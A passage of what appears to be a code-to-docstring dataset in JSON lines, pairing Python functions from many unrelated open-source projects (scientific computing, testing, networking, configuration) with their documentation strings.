total, n - 1, k - 1)\n return ''.join(str(t) for t in res)\n\n", "nl": ":type n: int:type k: int:rtype: str"} {"code": "def coerce(self, value):\n if self.type in (int, float, str, unicode):\n return self.type(value)\n elif self.type is bool:\n if re.match(r'[Ff]alse', value):\n return False\n return True\n return value\n\n\nclass AppInstance(object):", "nl": "Casts string-wrapped valued to actual type:param value: str -> value to be cast:return: value of wanted type"} {"code": "def gs_error(self, err_cde, err_str):\n self.err_cde = err_cde\n self.err_str = err_str\n", "nl": "@param err_cde: GS level error code@type err_cde: string@param err_str: Description of the error@type err_str: string"} {"code": "def graph_hyperband(self, save_dir='./tmp/hyperband.jpg'):\n pass\n", "nl": "Extract from history and show Hyperband graph (best performance foreach successive halving bracket)"} {"code": "def stop(self, shutit):\n\t\tmodule_file.close()\n\n\t\tbuild_cnf_filename = skel_path + '/configs/build.cnf'\n\t\tbuild_cnf_file = open(build_cnf_filename,'w+')\n\t\tbuild_cnf_file.write('''", "nl": " + shutit.cfg['skeleton']['stop_section'] + return True + shutit.cfg['skeleton']['final_section'])"} {"code": "def _build_settings_content(self) -> TypedStep:\n step = TypedStep[PresentableSettingsEntry](\n name=\"setting_content\",\n step_type=StepType.CONTENT,\n )\n step.index = self.steps.current.index\n step.value = self._settings\n return step\n", "nl": "Build the content for one settings entry.:returns: The option's content"} {"code": "def linear_density(radius):\n return slope * radius + constant_term\n\n region = (-180, 180, -90, 90)\n shape = (19, 13)\n coordinates = grid_coordinates(region=region, shape=shape, extra_coords=top)\n analytic = analytical_spherical_shell_linear(\n coordinates[-1], bottom, top, slope, constant_term\n )\n npt.assert_allclose(\n tesseroid_gravity(coordinates, tesseroids, linear_density, field=field),\n analytic[field],\n rtol=ACCURACY_THRESHOLD,\n )\n\n\n@run_only_with_numba\n@pytest.mark.parametrize(\"field\", (\"potential\", \"g_z\"))\n@pytest.mark.parametrize(\"thickness\", (1e2, 1e3, 1e6))\n@pytest.mark.parametrize(\"b_factor\", (5, 100))", "nl": "Create a dummy linear density"} {"code": "def _login(self, *args, **kwargs):\n pass\n", "nl": "login to non-public data as a known userParameters----------Keyword arguments that can be used to createthe data payload(dict) sent via `requests.post`"} {"code": "def _update_zipimporter_cache(normalized_path, cache, updater=None):\n for p in _collect_zipimporter_cache_entries(normalized_path, cache):\n old_entry = cache[p]\n del cache[p]\n new_entry = updater and updater(p, old_entry)\n if new_entry is not None:\n cache[p] = new_entry\n\n", "nl": "Update zipimporter cache data for a given normalized path.Any sub-path entries are processed as well, i.e. those corresponding to ziparchives embedded in other zip archives.Given updater is a callable taking a cache entry key and the original entry(after already removing the entry from the cache), and expected to updatethe entry and possibly return a new one to be inserted in its place.Returning None indicates that the entry should not be replaced with a newone. If no updater is given, the cache entries are simply removed withoutany additional processing, the same as if the updater simply returned None."} {"code": "def _randBits(self, nbytes):\n if self.getrandbits is not None:\n n = self.getrandbits(nbytes * 8)\n hexBytes = (\"%%0%dx\" % (nbytes * 2)) % n\n return _fromhex(hexBytes)\n raise SourceNotAvailable(\"random.getrandbits is not available\")\n\n\n if _PY3:\n _maketrans = bytes.maketrans", "nl": "Wrapper around C{os.getrandbits}."} {"code": "def testJobRegistration(self):\n self.assertRaises(\n TurbiniaException, manager.JobsManager.DeregisterJobs, [], ['NoJob'])\n", "nl": "Tests the registration and deregistration of jobs.number_of_jobs = len(manager.JobsManager._job_classes)manager.JobsManager.RegisterJob(TestJob1)self.assertEqual(number_of_jobs + 1, len(manager.JobsManager._job_classes))with self.assertRaises(KeyError):manager.JobsManager.RegisterJob(TestJob1)manager.JobsManager.DeregisterJob(TestJob1)self.assertEqual(number_of_jobs, len(manager.JobsManager._job_classes))number_of_jobs = len(manager.JobsManager._job_classes)manager.JobsManager.RegisterJobs([TestJob1, TestJob2])self.assertEqual(number_of_jobs + 2, len(manager.JobsManager._job_classes))with self.assertRaises(KeyError):manager.JobsManager.RegisterJob(TestJob1)manager.JobsManager.DeregisterJob(TestJob1)manager.JobsManager.DeregisterJob(TestJob2)self.assertEqual(number_of_jobs, len(manager.JobsManager._job_classes))def testJobDeregistrationWithUnknownAllowlist(self):Test that deregistration throws error when allowlisting unknown Job."} {"code": "def if_none_match(self):\n return parse_etags(self.environ.get(\"HTTP_IF_NONE_MATCH\"))\n\n @cached_property", "nl": "An object containing all the etags in the `If-None-Match` header.:rtype: :class:`~werkzeug.datastructures.ETags`"} {"code": "def vonmisesvariate(self, mu, kappa):\n\n\n\n random = self.random\n if kappa <= 1e-6:\n return TWOPI * random()\n\n s = 0.5 / kappa\n r = s + _sqrt(1.0 + s * s)\n\n while 1:\n u1 = random()\n z = _cos(_pi * u1)\n\n d = z / (r + z)\n u2 = random()\n if u2 < 1.0 - d * d or u2 <= (1.0 - d) * _exp(d):\n break\n\n q = 1.0 / r\n f = (q + z) / (1.0 + q * z)\n u3 = random()\n if u3 > 0.5:\n theta = (mu + _acos(f)) % TWOPI\n else:\n theta = (mu - _acos(f)) % TWOPI\n\n return theta\n\n", "nl": "Circular data distribution.mu is the mean angle, expressed in radians between 0 and 2*pi, andkappa is the concentration parameter, which must be greater than orequal to zero. If kappa is equal to zero, this distribution reducesto a uniform random angle over the range 0 to 2*pi."} {"code": "def __init__(self, node_features, node_labels, list_action_space, bilin_q=1, embed_dim=64, mlp_hidden=64, max_lv=1, gm='mean_field', device='cpu'):\n super(QNetNode, self).__init__()\n self.node_features = node_features\n self.node_labels = node_labels\n self.list_action_space = list_action_space\n self.total_nodes = len(list_action_space)\n\n self.bilin_q = bilin_q\n self.embed_dim = embed_dim\n self.mlp_hidden = mlp_hidden\n self.max_lv = max_lv\n self.gm = gm\n\n if bilin_q:\n last_wout = embed_dim\n else:\n last_wout = 1\n self.bias_target = Parameter(torch.Tensor(1, embed_dim))\n\n if mlp_hidden:\n self.linear_1 = nn.Linear(embed_dim * 2, mlp_hidden)\n self.linear_out = nn.Linear(mlp_hidden, last_wout)\n else:\n self.linear_out = nn.Linear(embed_dim * 2, last_wout)\n\n self.w_n2l = Parameter(torch.Tensor(node_features.size()[1], embed_dim))\n self.bias_n2l = Parameter(torch.Tensor(embed_dim))\n self.bias_picked = Parameter(torch.Tensor(1, embed_dim))\n self.conv_params = nn.Linear(embed_dim, embed_dim)\n self.norm_tool = GraphNormTool(normalize=True, gm=self.gm, device=device)\n weights_init(self)\n", "nl": "bilin_q: bilinear q or notmlp_hidden: mlp hidden layer sizemav_lv: max rounds of message passing"} {"code": "def unfold(self, mode, rtype):\n current_mode_order = [i for i in self.mode_order]\n first_mode = current_mode_order.pop(mode)\n other_modes = list(itertools.chain.from_iterable(current_mode_order))\n new_mode_order = (first_mode, other_modes)\n self.add_transformation(rtype=rtype, mode_order=new_mode_order)\n return self\n", "nl": " Register an unfolding operation applied to a ``Tensor`` objectParameters----------mode : intrtype : strReshaping type as a string from {\"T\", \"K\"}.Returns-------self"} {"code": "def add_args(parser):", "nl": "Add arguments to the parser for this LR scheduler.# fmt: offparser.add_argument('--warmup-steps',default=4000,type=int,metavar='N',help='warmup the learning rate linearly for the first N updates')parser.add_argument('--hold-steps',default=20000,type=int,metavar='N',help='steps in hold stage.')parser.add_argument('--decay-steps',default=60000,type=int,metavar='N',help='steps in decay stages')parser.add_argument('--init-lr-scale',default=0.01,type=float,help="} {"code": "def init_robot_state_pub(namespace=\"/\", max_pub_freq=None, launch_new_term=False) -> bool:\n\n if max_pub_freq is not None:\n if namespace != \"/\":\n rospy.set_param(namespace + \"/rob_st_pub/publish_frequency\", max_pub_freq)\n else:\n rospy.set_param(\"/rob_st_pub/publish_frequency\", max_pub_freq)\n\n return ros_node.ros_node_from_pkg(\"robot_state_publisher\", \"robot_state_publisher\", launch_new_term=launch_new_term, name=\"rob_st_pub\", ns=namespace)\n\n", "nl": "Funtion to initialize the robot state publisher.:param namespace: Namespace of the robot.:type namespace: str:param max_pub_freq: Maximum frequency of the publisher.:type max_pub_freq: float:param launch_new_term: Launch the process in a new terminal (Xterm).:type launch_new_term: bool:return: Return true if the publisher was initialized.:rtype: bool"} {"code": "def conesearch_compare(self, xmlfile, msg):\n if xmlfile == 'conesearch_error4.xml':\n pytest.xfail('Currently not supported, '\n 'see astropy.io.votable.exceptions.W22')\n\n url = get_pkg_data_filename(os.path.join(self.datadir, xmlfile))\n with pytest.raises(VOSError) as excinfo:\n vos_catalog._vo_service_request(url, self.pedantic, {})\n assert msg in str(excinfo.value)\n\n @pytest.mark.parametrize(('id'), [1, 2, 3, 4])", "nl": "Bypassing Cone Search query and just imitating the reply,then check if appropriate error message is caught."} {"code": "def get_id():\n return 'kfz'\n\n\nclass Pension(Buro):\n @staticmethod", "nl": ":return: machine-readable unique ID of the buro"} {"code": "def _box(self, obj):\n if brine.dumpable(obj):\n return consts.LABEL_VALUE, obj\n if type(obj) is tuple:\n return consts.LABEL_TUPLE, tuple(self._box(item) for item in obj)\n elif isinstance(obj, netref.BaseNetref) and obj.____conn__() is self:\n return consts.LABEL_LOCAL_REF, obj.____oid__\n else:\n self._local_objects.add(obj)\n try:\n cls = obj.__class__\n except Exception:\n cls = type(obj)\n return consts.LABEL_REMOTE_REF, (id(obj), cls.__name__, cls.__module__)\n", "nl": "store a local object in such a way that it could be recreated onthe remote party either by-value or by-reference"} {"code": "def test_multi_class(self):\n\n a = \"\"\"\n self.check(b, a)\n", "nl": "b = try:passexcept (RuntimeError, ImportError), e:pass"} {"code": "def include(self, pattern):\n match = translate_pattern(pattern)\n return self._remove_files(match.match)\n", "nl": "Include files that match 'pattern'.found = [f for f in glob(pattern) if not os.path.isdir(f)]self.extend(found)return bool(found)def exclude(self, pattern):Exclude files that match 'pattern'."} {"code": "def contains(self, e):\n for i, v in enumerate(self):\n if func(v):\n return i\n raise ValueError(\"No matches\")\n", "nl": " Tests whether element exists in this Array. return e in selfdef index_where(self, func): Finds the index of the first element satisfying a predicate. "} {"code": "def get(self, link, package_name):\n raise NotImplementedError()\n", "nl": "Returns a link to a cached item if it exists, otherwise returns thepassed link."} {"code": "def test_successfulCertificateVerification(self):", "nl": "Test a successful connection with client certificate validation onserver side."} {"code": "def _path(self,*dirs):\n dirs0 = [self.dirn]\n dirs0.extend(dirs)\n return os.path.join(*dirs0)\n", "nl": "Internal: return path under run directory"} {"code": "def inspect_getfullargspec(func):\n", "nl": "Fully vendored version of getfullargspec from Python 3.3.This version is more performant than the one which appeared inlater Python 3 versions."} {"code": "def test_it_ignores_invalid_dois(self):\n dc_dict = {\n \"identifier\": [\n \"doi:10.1038/nphys1170\",\n \"doi:10.1002/0470841559.ch1\",\n \"doi:10.1594/PANGAEA.726855\",\n ]\n }\n\n document_uris = document_claims.document_uris_from_dc(\n dc_dict, claimant=\"http://example.com/example.html\"\n )\n\n for doi in dc_dict[\"identifier\"]:\n document_uri = one([d for d in document_uris if d.get(\"uri\") == doi])\n assert document_uri == {\n \"claimant\": \"http://example.com/example.html\",\n \"uri\": doi,\n \"type\": \"dc-doi\",\n \"content_type\": \"\",\n }\n", "nl": "If `doi_uri_from_string` returns `None`, the identifier is ignored.highwire_dict = {\"doi\": [\"doi:\"]}document_uris = document_claims.document_uris_from_highwire_doi(highwire_dict, claimant=\"http://example.com/example.html\")assert not document_urisclass TestDocumentURIsFromDC:def test_dc_identifiers_produce_dc_doi_document_uris(self):Each 'identifier' list item in the 'dc' dict becomes a doc URI."} {"code": "def getfs(self):\n return self.params['sampling frequency']\n", "nl": "Retrieves sampling frequency 'fs' [Hz]"} {"code": "def prefer_url(self, url1, url2):\n result = url2\n if url1:\n s1 = self.score_url(url1)\n s2 = self.score_url(url2)\n if s1 > s2:\n result = url1\n if result != url2:\n logger.debug('Not replacing %r with %r', url1, url2)\n else:\n logger.debug('Replacing %r with %r', url1, url2)\n return result\n", "nl": "Choose one of two URLs where both are candidates for distributionarchives for the same version of a distribution (for example,.tar.gz vs. zip).The current implementation favours https:// URLs over http://, archivesfrom PyPI over those from other locations, wheel compatibility (if awheel) and then the archive name."} {"code": "def expungeNotes(self, authenticationToken, noteGuids):\n pass\n", "nl": "Permanently removes a list of Notes, and all of their Resources, fromthe service. This should be invoked with a small number of Note GUIDs(e.g. 100 or less) on each call. To expunge a larger number of notes,call this method multiple times. This should also be used to reduce thenumber of Notes in a notebook before calling expungeNotebook() orin the trash before calling expungeInactiveNotes(), since these calls maybe prohibitively slow if there are more than a few hundred notes.If an exception is thrown for any of the GUIDs, then none of the noteswill be deleted. I.e. this call can be treated as an atomic transaction.

NOTE: This function is not available to third party applications.Calls will result in an EDAMUserException with the error codePERMISSION_DENIED.@param noteGuidsThe list of GUIDs for the Notes to remove.@returnThe account's updateCount at the end of this operation@throws EDAMUserException

  • PERMISSION_DENIED \"Note\" - user doesn't own
@throws EDAMNotFoundException
  • \"Note.guid\" - not found, by GUID
Parameters:- authenticationToken- noteGuids"} {"code": "def nlst(self, *args):", "nl": "Return a list of files in a given directory (default the current).cmd = 'NLST'for arg in args:cmd = cmd + (' ' + arg)files = []self.retrlines(cmd, files.append)return filesdef dir(self, *args):List a directory in long form."} {"code": "def test_insert_into(query, table, expected):\n sql = pgmock.sql(query, pgmock.insert_into(table).patch(rows=[(1,), (2,)],\n cols=['a']))\n assert sql == 'insert into a VALUES (1),(2)'\n\n\n@pytest.mark.parametrize('query, table, expected', [\n (' create table a as ( select * from t ) ; select * from b', 'a',\n 'create table a as ( select * from t ) '),\n (' create table a as ( select * from t )', 'a', 'create table a as ( select * from t )'),\n (' create table a as\\n select * from t', 'a', 'create table a as\\n select * from t'),\n (' create table a as\\n--comment\\n select * from t', 'a',\n 'create table a as\\n--comment\\n select * from t'),\n pytest.mark.xfail(\n (\" create table a as(select * from t where i = ';')\", 'a',\n \"create table a as(select * from t where i = ';')\")),\n (' create table a as(select * from t)', 'a',\n 'create table a as(select * from t)'),\n (' create table a(has, columns)as(select * from t)', 'a',\n 'create table a(has, columns)as(select * from t)'),\n (' create table a (has, columns) \\nas(select * from t)', 'a',\n 'create table a (has, columns) \\nas(select * from t)'),\n pytest.mark.xfail(\n (\"select * from t where i = ';'\", 'a', None), raises=pgmock.exceptions.NoMatchError),\n pytest.mark.xfail(\n ('create table a as (select * from t); create table a as (select * from t)', 'a', None),\n raises=pgmock.exceptions.MultipleMatchError)\n])", "nl": "Tests getting an \"insert into\" statement from a querysql = pgmock.sql(query, pgmock.insert_into(table))assert sql == expected@pytest.mark.parametrize('query, table', [(' insert into a select * from t; select * from b', 'a'),(' insert into a select * from t ', 'a'),(' insert into a ( select * from t )', 'a'),(' insert into a ( select * from t );', 'a'),(\" insert into a select * from t where i = ';'\", 'a'),])def test_insert_into_patched(query, table):Tests patching an \"insert into\" statement from a query"} {"code": "def current_state_as_grid(self):\n res = []\n for row in self.cells:\n for cell in row:\n res.append(cell)\n return res\n", "nl": " return the current state res = []for cell in self.cells:res.append(cell)return resdef current_state_as_list(self): return the current state "} {"code": "def pyramid(cls, cfg, schema, changer):\n cls(schema, 3)(changer, cfg)\n\n", "nl": " pyramid password changer registration directive.:param schema: Principal uri schema.:param changer: Function.. code-block:: pythonconfig = Configurator()config.include('ptah')config.ptah_password_changer('custom-schema', custom_changer)"} {"code": "def affiliations(requestor, service):\n", "nl": "Called when a affiliations retrieval request has been received.@param requestor: The entity the request originated from.@type requestor: L{JID}@param service: The entity the request was addressed to.@type service: L{JID}@return: A deferred that fires with a C{list} of affiliations asC{tuple}s of (node identifier as C{unicode}, affiliation state asC{str}). The affiliation can be C{'owner'}, C{'publisher'}, orC{'outcast'}.@rtype: L{Deferred}"} {"code": "def get_handle_and_trades(self, address: str) -> Tuple[str, int]:\n command = \"SELECT address, developer_handle FROM registered_table\"\n results = cast(List[Tuple[str, str]], self._execute_single_sql(command, ()))\n return results\n", "nl": "Get developer and number of trades for address.developer_handle = self.get_developer_handle(address)addresses = self.get_addresses(developer_handle)trades = 0for address_ in addresses:trades += self.get_trade_count(address_)return (developer_handle, trades)def get_all_addresses_and_handles(self) -> List[Tuple[str, str]]:Get all addresses."} {"code": "def _new_session(self):\n self.sessions.clear()\n self.xmpp.remove_handler('Sensordata Event:Req')\n self.xmpp.remove_handler('Sensordata Event:Accepted')\n self.xmpp.remove_handler('Sensordata Event:Rejected')\n self.xmpp.remove_handler('Sensordata Event:Cancel')\n self.xmpp.remove_handler('Sensordata Event:Cancelled')\n self.xmpp.remove_handler('Sensordata Event:Fields')\n self.xmpp['xep_0030'].del_feature(feature=Sensordata.namespace)\n\n\n", "nl": " Return a new session ID. return str(time.time()) + '-' + self.xmpp.new_id()def session_bind(self, jid):logging.debug(\"setting the Disco discovery for %s\" % Sensordata.namespace)self.xmpp['xep_0030'].add_feature(Sensordata.namespace)self.xmpp['xep_0030'].set_items(node=Sensordata.namespace, items=tuple())def plugin_end(self): Stop the XEP-0323 plugin "} {"code": "def test_deepcopy(self):\n st = read()\n st[0].stats.network = 'AA'\n st[0].stats.mseed = AttribDict(dataquality='A')\n ct = deepcopy(st)\n st[0].stats.network = 'XX'\n assert st[0].stats.network == 'XX'\n assert ct[0].stats.network == 'AA'\n st[0].stats.mseed.dataquality = 'X'\n assert st[0].stats.mseed.dataquality == 'X'\n assert ct[0].stats.mseed.dataquality == 'A'\n", "nl": "Tests __deepcopy__ method.http://lists.obspy.org/pipermail/obspy-users/2013-April/000451.html"} {"code": "default value.\n The minimal interface for a converter to take custom data types (or\n sequences) and convert them to values Matplotlib can use.\n \"\"\"", "nl": "self.majloc = majlocself.minloc = minlocself.majfmt = majfmtself.minfmt = minfmtself.label = labelself.default_limits = default_limitsclass ConversionInterface(object):"} {"code": "def __init__(self, cli_args):\n Check a loaded config for common errors, such as unused pages,\n references to non-existing targets, duplicate target names, etc.\n \"\"\"", "nl": "Load config from commandline argumentsself.cli_args = cli_argsself.set_logging()# Don't even bother loading the config file if it's just a version queryif cli_args.version:print(\"Dactyl version %s\" % __version__)exit(0)self.bypass_errors = cli_args.bypass_errorsif self.bypass_errors:yaml.allow_duplicate_keys = True# Start with the default config, then overwrite laterself.config = yaml.load(resource_stream(__name__, \"default-config.yml\"))self.filters = {}if cli_args.config:self.load_config_from_file(cli_args.config)else:logger.debug(\"No config file specified, trying ./dactyl-config.yml\")self.load_config_from_file(DEFAULT_CONFIG_FILE)self.load_filters()self.page_cache = []def set_logging(self):if self.cli_args.debug:logger.setLevel(logging.DEBUG)elif not self.cli_args.quiet:logger.setLevel(logging.INFO)def load_config_from_file(self, config_file):logger.debug(\"loading config file %s...\" % config_file)try:with open(config_file, \"r\", encoding=\"utf-8\") as f:loaded_config = yaml.load(f)if loaded_config is None:loaded_config = {}except FileNotFoundError as e:if config_file == DEFAULT_CONFIG_FILE:logger.info(\"Couldn't read a config file; using generic config\")loaded_config = {}else:traceback.print_tb(e.__traceback__)exit(\"Fatal: Config file '%s' not found\"%config_file)except ruamel.yaml.parser.ParserError as e:traceback.print_tb(e.__traceback__)exit(\"Fatal: Error parsing config file: %s\"%e)# Migrate legacy config fieldsif \"pdf_template\" in loaded_config:if \"default_pdf_template\" in loaded_config:recoverable_error(\"Ignoring redundant global config option \"+\"pdf_template in favor of default_pdf_template\",self.bypass_errors)else:loaded_config[\"default_pdf_template\"] = loaded_config[\"pdf_template\"]logger.warning(\"Deprecation warning: Global field pdf_template has \"+\"been renamed default_pdf_template\")if \"flatten_default_html_paths\" in loaded_config:if loaded_config[\"flatten_default_html_paths\"] == True:loaded_config[\"default_html_names\"] = \"flatten\"else:loaded_config[\"default_html_names\"] = \"path\"self.config.update(loaded_config)def check_consistency(self):"} {"code": "def _createModel(modelSpec):\n\n model = ModelFactory.create(modelConfig=modelSpec[\"modelConfig\"])\n model.enableLearning()\n model.enableInference(modelSpec[\"inferenceArgs\"])\n\n return model\n\n\n @staticmethod", "nl": "Instantiate and configure an OPF model:param dict modelSpec: Model specification per model_opt_schema.json:returns: OPF Model instance"} {"code": "def copy_from_settings(cls, student_group):\n return ([] if student_group is None\n else student_group.get_triggers(cls.SETTINGS_NAME))\n\n\nclass ContentOverrideTrigger(OverrideTriggerMixin, triggers.ContentTrigger):\n \"\"\"Course content availability override applied at specified date/time.", "nl": "Copies encoded availability override triggers from a student group.Args:student_group: a StudentGroupDTO, which can be None in the casewhere the \"Publish > Availability\" form entity is beinginitialized but no student groups have been defined for thecourse.Returns:An empty list if student_group is None, otherwise a *shallow copy*of the already JSON-decoded student_group.dict[cls.SETTINGS_NAME]list (which may itself be empty)."} {"code": "def info(self) -> \"Limits\":\n return self._limits\n\n @property", "nl": "Get the Limits object for this context containing informationabout hardware/driver limits and other context information.Example::>> ctx.info.MAX_TEXTURE_SIZE(16384, 16384)>> ctx.info.VENDORNVIDIA Corporation>> ctx.info.RENDERERNVIDIA GeForce RTX 2080 SUPER/PCIe/SSE2"} {"code": "def convert_sklearn_gaussian_naive_bayes(operator, device, extra_config):\n assert operator is not None, \"Cannot convert None operator\"\n\n model = operator.raw_operator\n classes = model.classes_\n if not all([type(x) in [int, np.int32, np.int64] for x in classes]):\n raise RuntimeError(\"Hummingbird supports only integer labels for class labels.\")\n\n jll_calc_bias = np.log(model.class_prior_.reshape(-1, 1)) - 0.5 * np.sum(np.log(2.0 * np.pi * model.sigma_), 1).reshape(\n -1, 1\n )\n return GaussianNBModel(operator, classes, jll_calc_bias, model.theta_, model.sigma_, device)\n\n\nregister_converter(\"SklearnBernoulliNB\", convert_sklearn_bernouli_naive_bayes)\nregister_converter(\"SklearnGaussianNB\", convert_sklearn_gaussian_naive_bayes)\nregister_converter(\"SklearnMultinomialNB\", convert_sklearn_multinomial_naive_bayes)", "nl": "Converter for `sklearn.naive_bayes.GaussianNB`Args:operator: An operator wrapping a `sklearn.naive_bayes.GaussianNB` modeldevice: String defining the type of device the converted operator should be run onextra_config: Extra configuration used to select the best conversion strategyReturns:A PyTorch model"} {"code": "def test_add_pending_proposal_i(self):\n self.transactions._pending_proposals[self.dialogue_label] = {1: self.terms}\n\n with pytest.raises(\n AEAEnforceError,\n match=\"Proposal is already in the list of pending proposals.\",\n ):\n self.transactions.add_pending_proposal(\n self.dialogue_label, self.proposal_id, self.terms\n )\n", "nl": "Test the add_pending_proposal method of the Transactions class.# beforeassert self.dialogue_label not in self.transactions._pending_proposals# operationself.transactions.add_pending_proposal(self.dialogue_label, self.proposal_id, self.terms)# afterassert (self.transactions._pending_proposals[self.dialogue_label][self.proposal_id]== self.terms)def test_add_pending_proposal_ii(self):Test the add_pending_proposal method of the Transactions class where dialogue_label IS in _pending_proposals."} {"code": "def logits(self):\n return self._distribution.n_categories\n\n\nDiscrete = Categorical\n\n\nclass Uniform(ZhuSuanDistribution):\n \"\"\"\n", "nl": "The un-normalized log probabilities.return self._distribution.logits@propertydef n_categories(self):The number of categories in the distribution."} {"code": "def test_multi_index_no_level_names(all_parsers, index_col):\n headless_data = '\\n'.join(data.split(\"\\n\")[1:])\n\n names = [\"A\", \"B\", \"C\", \"D\"]\n parser = all_parsers\n\n result = parser.read_csv(StringIO(headless_data),\n index_col=index_col,\n header=None, names=names)\n expected = parser.read_csv(StringIO(data), index_col=index_col)\n\n expected.index.names = [None] * 2\n tm.assert_frame_equal(result, expected)\n\n", "nl": "data = index1,index2,A,B,C,Dfoo,one,2,3,4,5foo,two,7,8,9,10foo,three,12,13,14,15bar,one,12,13,14,15bar,two,12,13,14,15"} {"code": "def get_mathlibs(path=None):\n if path is not None:\n config_file = os.path.join(path, '_numpyconfig.h')\n else:\n dirs = get_numpy_include_dirs()\n for path in dirs:\n fn = os.path.join(path, '_numpyconfig.h')\n if os.path.exists(fn):\n config_file = fn\n break\n else:\n raise DistutilsError('_numpyconfig.h not found in numpy include '\n 'dirs %r' % (dirs,))\n\n with open(config_file) as fid:\n mathlibs = []", "nl": "Return the MATHLIB line from numpyconfig.h"} {"code": "def _exception_handler(debugger, exc_info):\n tb = exc_info[2]\n ignored_traceback = get_ignored_traceback(tb)\n if ignored_traceback:\n tb = FilteredTraceback(tb, ignored_traceback)\n traceback.print_exception(exc_info[0], exc_info[1], tb)\n debugger.post_mortem(tb)\n\n", "nl": "Exception handler enabling post-mortem debugging.A class extending testtools.TestCase can add this handler in setUp():self.addOnException(post_mortem_debug.exception_handler)When an exception occurs, the user will be dropped into a debuggersession in the execution environment of the failure.Frames associated with the testing framework are excluded so thatthe post-mortem session for an assertion failure will start at theassertion call (e.g. self.assertTrue) rather than the framework codethat raises the failure exception (e.g. the assertTrue method)."} {"code": "def flip_keypoints(keypoints, keypoint_flip_map, keypoint_coords, width):\n flipped_kps = keypoint_coords.copy()\n for lkp, rkp in keypoint_flip_map.items():\n lid = keypoints.index(lkp)\n rid = keypoints.index(rkp)\n flipped_kps[:, :, lid] = keypoint_coords[:, :, rid]\n flipped_kps[:, :, rid] = keypoint_coords[:, :, lid]\n\n flipped_kps[:, 0, :] = width - flipped_kps[:, 0, :] - 1\n inds = np.where(flipped_kps[:, 2, :] == 0)\n flipped_kps[inds[0], 0, inds[1]] = 0\n return flipped_kps\n\n", "nl": "Left/right flip keypoint_coords. keypoints and keypoint_flip_map areaccessible from get_keypoints()."} {"code": "def _setup_imports(self):\n for fullname, _, _ in self.module_map['custom']:\n mitogen.core.import_module(fullname)\n for fullname in self.module_map['builtin']:\n try:\n mitogen.core.import_module(fullname)\n except ImportError:\n if fullname != 'ansible.module_utils.distro._distro':\n raise\n", "nl": "Ensure the local importer and PushFileService has everything for theAnsible module before setup() completes, but before detach() is calledin an asynchronous task.The master automatically streams modules towards us concurrent to therunner invocation, however there is no public API to synchronize on thecompletion of those preloads. Instead simply reuse the importer'ssynchronization mechanism by importing everything the module will needprior to detaching."} {"code": "def test_files_sizes(self, zip_tree, test_case):\n\n test_dir, zip_file, unzip_dir = zip_tree\n\n for i in test_case:\n if isinstance(i, tuple):\n sys.stdout.write(\"checking size of %s\\n\" % (i[0], ))\n file_size = os.stat(\n os.path.join(test_dir, i[0])).st_size\n assert file_size == i[1]", "nl": "Ensures that the files created are the correct size."} {"code": "def help_next(self):\n\n help_n = help_next\n\n", "nl": "_print(next(shorthand - n)Continue execution until the next line in the current functionis reached or it returns., self.m_stdout)"} {"code": "def get_dexseq_gff(config, default=None):\n dexseq_gff = tz.get_in(tz.get_in(['dexseq_gff', 'keys'], LOOKUPS, {}),\n config, None)\n if not dexseq_gff:\n return None\n gtf_file = get_gtf_file(config)\n if gtf_file:\n base_dir = os.path.dirname(gtf_file)\n else:\n base_dir = os.path.dirname(dexseq_gff)\n base, _ = os.path.splitext(dexseq_gff)\n gff_file = os.path.join(base_dir, base + \".gff\")\n if file_exists(gff_file):\n return gff_file\n gtf_file = os.path.join(base_dir, base + \".gff3\")\n if file_exists(gtf_file):\n return gtf_file\n else:\n return None\n", "nl": "some older versions of the genomes have the DEXseq gff file asgff instead of gff3, so this handles that by looking for either one"} {"code": "def validate(self):\n super(Report, self).validate()\n\n if self.link and not validators.url(self.link):\n raise InvalidObjectError(\"link should be a valid URL\")\n\n if self.iocs_v2:\n [ioc.validate() for ioc in self._iocs_v2]\n", "nl": "Validates this report's state.:raise InvalidObjectError: if the report's state is invalid"} {"code": "def get_timers():\n args = _parse_args(extra_args_provider=extra_args_provider,", "nl": "Return timers._ensure_var_is_initialized(_GLOBAL_TIMERS, 'timers')return _GLOBAL_TIMERSdef set_global_variables(extra_args_provider=None,args_defaults={},ignore_unknown_args=False):Set args, tensorboard-writer, and timers."} {"code": "def get_Darwin_width(self, E, b=1., polarization='s'):\n theta0 = self.get_Bragg_angle(E)\n sin2theta = np.sin(2. * theta0)\n waveLength = CH / E\n sinThetaOverL = np.sin(theta0) / waveLength\n F0, Fhkl, Fhkl_, chi0, chih, chih_ = self.get_F_chi(E, sinThetaOverL)\n if polarization == 's':\n polFactor = 1.\n else:\n polFactor = np.cos(2. * theta0)\n return 2 * (np.sqrt((polFactor**2 * chih*chih_ / b)) / sin2theta).real\n", "nl": "rCalculates the Darwin width as.. math::2\\delta = |C|\\sqrt{\\chi_h\\chi_{\\overline{h}} / b}/\\sin{2\\theta}"} {"code": "def get_values(self, dtype=None):\n values = self.values\n if is_object_dtype(dtype):\n values = values._box_values(values._data)\n\n values = np.asarray(values)\n\n if self.ndim == 2:\n values = values.reshape(1, -1)\n return values\n", "nl": "Returns an ndarray of values.Parameters----------dtype : np.dtypeOnly `object`-like dtypes are respected here (not surewhy).Returns-------values : ndarrayWhen ``dtype=object``, then and object-dtype ndarray ofboxed values is returned. Otherwise, an M8[ns] ndarrayis returned.DatetimeArray is always 1-d. ``get_values`` will reshapethe return value to be the same dimensionality as theblock."} {"code": "def MultiCallCreator(widget):\n if widget in _multicall_dict:\n return _multicall_dict[widget]\n\n class MultiCall (widget):\n assert issubclass(widget, Tkinter.Misc)\n", "nl": "Return a MultiCall class which inherits its methods from thegiven widget class (for example, Tkinter.Text). This is usedinstead of a templating mechanism."} {"code": "def _stop_thread(self):\n super()._stop_thread()\n if hasattr(self, \"_event_thread\"):\n self._event_thread.join()\n", "nl": "Stop the communication threads."} {"code": "def test_gotResolverErrorResetsResponseAttributes(self):\n factory = server.DNSServerFactory()\n responses = []\n factory.sendReply = (\n lambda protocol, response, address: responses.append(response)\n )\n request = dns.Message(authenticData=True, checkingDisabled=True)\n request.answers = [object(), object()]\n request.authority = [object(), object()]\n request.additional = [object(), object()]\n factory.gotResolverError(\n failure.Failure(error.DomainError()),\n protocol=None, message=request, address=None\n )\n\n self.assertEqual([dns.Message(rCode=3, answer=True)], responses)\n\n", "nl": "L{server.DNSServerFactory.gotResolverError} does not allow requestattributes to leak into the response ie it sends a response with AD, CDset to 0 and empty response record sections."} {"code": "def __init__(self, main_window, ui):\n\n\t\tsuper(BasePreferencesWidget, self).__init__(main_window, ui=ui)\n\t\tself._its_me = 